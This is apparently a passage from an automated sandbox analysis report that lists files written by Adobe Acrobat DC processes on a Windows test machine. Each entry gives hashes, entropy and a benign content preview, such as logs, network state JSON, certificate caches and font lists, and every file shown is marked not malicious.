SSDEEP:	6:iO4k2bUyq2Pwkn2nKuAl9Ombzo2jMGIFUtSk24KFz1Zmwsk24KFlRkwOwkn2nKuA:7pCJvYfHAa8uFUtrXKFz1/1XKFz5JfHA
MD5:	79DD3693DEBE531CE348E5C194817B47
SHA1:	08611D0D6A5E1F78F96E2AE7F268E774D88431DB
SHA-256:	61B019BA9C8B9CC3A9FECE4F23905A99B71016CA413A588F6BC1F269E54C1D6C
SHA-512:	D1A886DF153385A1ADC12B35D5B22869CB9468DDD92480F3F41B059491F33576125EACC1694AB2EABF4EA9265F784B6858A10BB2C609D0CEE605678B29F009B2
Malicious:	false
Preview:	2025/01/10-12:58:14.398 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-12:58:14.399 1c50 Recovering log #3.2025/01/10-12:58:14.399 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\68c2c638-e39b-435f-b9af-4505491fc730.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.973413864143525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqNxsBdOg2HRcaq3QYiubInP7E4T3y:Y2sRdsVdMHo3QYhbG7nby
MD5:	C92D3B4971BC9FB204DA3D427AF3205E
SHA1:	1C93A88CBBAC01BB771697549D67EF885B656E38
SHA-256:	E4EC7F42A5A5CBAEB33E3DA40F906D2D69E845725ECD51A2A711545E72DE12E0
SHA-512:	1D1730A2DD60C1A5B33C25293AD08367A7F334185BABB52AE17B7C9AB8A6E4CEE28463F16DA4C2DCB5D64D0D5137233E312723913512F891515375D452669321
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091901076772","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":353611},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.973413864143525
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqNxsBdOg2HRcaq3QYiubInP7E4T3y:Y2sRdsVdMHo3QYhbG7nby
MD5:	C92D3B4971BC9FB204DA3D427AF3205E
SHA1:	1C93A88CBBAC01BB771697549D67EF885B656E38
SHA-256:	E4EC7F42A5A5CBAEB33E3DA40F906D2D69E845725ECD51A2A711545E72DE12E0
SHA-512:	1D1730A2DD60C1A5B33C25293AD08367A7F334185BABB52AE17B7C9AB8A6E4CEE28463F16DA4C2DCB5D64D0D5137233E312723913512F891515375D452669321
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381091901076772","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":353611},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.4","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4320
Entropy (8bit):	5.256673889405094
Encrypted:	false
SSDEEP:	96:etJCV4FAsszrNamjTN/2rjYMta02fDtehgO7BtTgo7HQtqow:etJCV4FiN/jTN/2r8Mta02fEhgO73goT
MD5:	BDD3E851D0715493E01DA9498B735A19
SHA1:	5BFD9337D6A93248831E62783489FFB944A24428
SHA-256:	B394B8A5014069D72DDA372D0DAEABB21602065BBD2C24D5614A18E293FC2B7E
SHA-512:	C5212ED75E7F0F84C4BEAD9EC1B4490EF28C63140B6E9C020BD6B9784FD94320DF4AB248049EACFCDCCD3D4CE1928F442C5EF9E2A9FC3F591077C18AE4B9FE82
Malicious:	false
Preview:	*...#................version.1..namespace-['O.o................next-map-id.1.Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/.0>...r................next-map-id.2.Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/.1O..r................next-map-id.3.Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/.2.\.o................next-map-id.4.Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/.3....^...............Pnamespace-158f4913_074a_4bdf_b463_eb784cc805b4-https://rna-resource.acrobat.com/..\|.^...............Pnamespace-6070ce43_6a74_4d0a_9cb8_0db6c3126811-https://rna-resource.acrobat.com/n..Fa...............Snamespace-fd2db5bd_ef7e_4124_bfa7_f036ce1d74e5-https://rna-v2-resource.acrobat.com/DQ..a...............Snamespace-cd5be8d1_42d2_481d_ac0e_f904ae470bda-https://rna-v2-resource.acrobat.com/i.`do................next-map-id.5.Pnamespace-de635bf2_6773_4d83_ad16_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.14849686194699
Encrypted:	false
SSDEEP:	6:iO4k2M9yq2Pwkn2nKuAl9OmbzNMxIFUtSk21K1Zmwsk2P9RkwOwkn2nKuAl9Ombg:7p7AvYfHAa8jFUtrAK1/1A75JfHAa84J
MD5:	72B672FC6AF11E5CBD3394B1BD2EC493
SHA1:	E7671FB762BFCFEB1F2A971B08690F16B1B292C7
SHA-256:	D322259298A089AF206D28F5F04C10FA279B04BF91492BA53846D131D8CDE838
SHA-512:	45D51A2A6CCD482FB6BF22DF5E3C5DAAD1E393906110335C96502FFA9CE3D54C452A83E927B21AD4164D7B0B3CF4E126606BFC7C170D95BB73B02920EADB44CF
Malicious:	false
Preview:	2025/01/10-12:58:14.530 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:58:14.532 1c50 Recovering log #3.2025/01/10-12:58:14.537 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.14849686194699
Encrypted:	false
SSDEEP:	6:iO4k2M9yq2Pwkn2nKuAl9OmbzNMxIFUtSk21K1Zmwsk2P9RkwOwkn2nKuAl9Ombg:7p7AvYfHAa8jFUtrAK1/1A75JfHAa84J
MD5:	72B672FC6AF11E5CBD3394B1BD2EC493
SHA1:	E7671FB762BFCFEB1F2A971B08690F16B1B292C7
SHA-256:	D322259298A089AF206D28F5F04C10FA279B04BF91492BA53846D131D8CDE838
SHA-512:	45D51A2A6CCD482FB6BF22DF5E3C5DAAD1E393906110335C96502FFA9CE3D54C452A83E927B21AD4164D7B0B3CF4E126606BFC7C170D95BB73B02920EADB44CF
Malicious:	false
Preview:	2025/01/10-12:58:14.530 1c50 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-12:58:14.532 1c50 Recovering log #3.2025/01/10-12:58:14.537 1c50 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 15, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 15
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.445000099294436
Encrypted:	false
SSDEEP:	384:yezci5tI9VhHiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:rI9Vhss3OazzU89UTTgUL
MD5:	8DD61BD7D238225A3D40B938235A97DF
SHA1:	7E3C9E1F35B2D4D052B7C8F8D49D498FF5E08D9D
SHA-256:	D2BF514CF87F9D1A170D19732FF6B2E956E0686EAF668DD94AF68A91C0C083B8
SHA-512:	BC04019734CCED768F39625CE45F1735F1B2FBBF2358D7C5AC063D07E177B83B58BC3E6B341A3D2121F535938C9A870D368187A825A56DA77BAD66787956F1C6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.7733354107037242
Encrypted:	false
SSDEEP:	48:7Mjp/E2ioyVfeioy9oWoy1Cwoy16NKOioy1noy1AYoy1Wioy1hioybioyo/oy1nz:7YpjufeF1/XKQTtPb9IVXEBodRBkd
MD5:	B2DBB188D3F65A330B4CCA30D2511103
SHA1:	30ED23C11B72E90FE9A372F019A377A66FCF33F9
SHA-256:	45A9C91C91247093869742FE55EAD8D958B002160D71DB81CDBD321C887E4F49
SHA-512:	CAFE02CC3530E185600127D78D83D63DF2B952A66650B29A322F4E73D54F535AD306CABF1B65FE4627FF4BE6226AAD540D56D8C70A0049C68041717A4A537A7A
Malicious:	false
Preview:	.... .c.....N..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b...r...t...}.....L..............................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.775162490582081
Encrypted:	false
SSDEEP:	3:kkFklU7pllltfllXlE/HT8kmFh1NNX8RolJuRdxLlGB9lQRYwpDdt:kKN7DeT8dRNMa8RdWBwRd
MD5:	6B7B20F70C8B4CB742B84ECC98CCA4D4
SHA1:	37A76AC9E81D4720308FEEB8D3E02E75934CB09A
SHA-256:	2F77AB09D75993DE3F163E6AAC64978C3BFDCE6D177EF054530FF5C2C87C83C6
SHA-512:	FE0AF325B37CA593500215307358C93ADC3DC3EFE290BB32B3C5AA82456829353F26116B3E4AFF081D6FD1FEEA26BE051B55C9FA391912183632C891FA61BAA3
Malicious:	false
Preview:	p...... ..........D@.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.1391791584200512
Encrypted:	false
SSDEEP:	6:kK3L9UswDLL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:PiDnLNkPlE99SNxAhUe/3
MD5:	BF4CE0640761479AF204E12423563F55
SHA1:	D10A6C677133E46F441B8344A545EC9FADA720B5
SHA-256:	C679E4DD8FE7FCBCCBF4E596AFB3D1BEBEC688B3A204A0A17953FE1ED3F428B4
SHA-512:	80997AEF54B302D02D395A96D241AA2AD733CD2A769A7705105100AC9F08F4BA083035D39BCC8E4B2B36040E4D65C1E4BFB274697CE7B8CAB266AA96BA81003A
Malicious:	false
Preview:	p...... ........}k.R.c..(....................................................... ........G..@.......&...............h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.6096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.6096

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3733689594407865
Encrypted:	false
SSDEEP:	6:YEQXJ2HX32HV9VoZcg1vRcR0YqWVmDoAvJM3g98kUwPeUkwRe9:YvXKXQ2Zc0vF0GMbLUkee9
MD5:	6BE9D7F9A15AC5110C366D2F2FBD1232
SHA1:	9FB40A6DA9450A28A11D22AEBB019320E135269A
SHA-256:	D19F07A2DEA9FD1156E65B81F85CBCE1A5C6117487CFA473F02F0C761007F4C5
SHA-512:	B30859E1FDAEA7FD97050D487E023C6708AF607A6227130F00321C61EFC0F400BC82C3206CF177FC0F464A6EB4EF13F03EAF8A33FBBAB7BEB231966FDE11D5C3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"e8f2fe1b-19cf-4229-9fb0-0f663532a609","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736708302206,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.320761864739846
Encrypted:	false
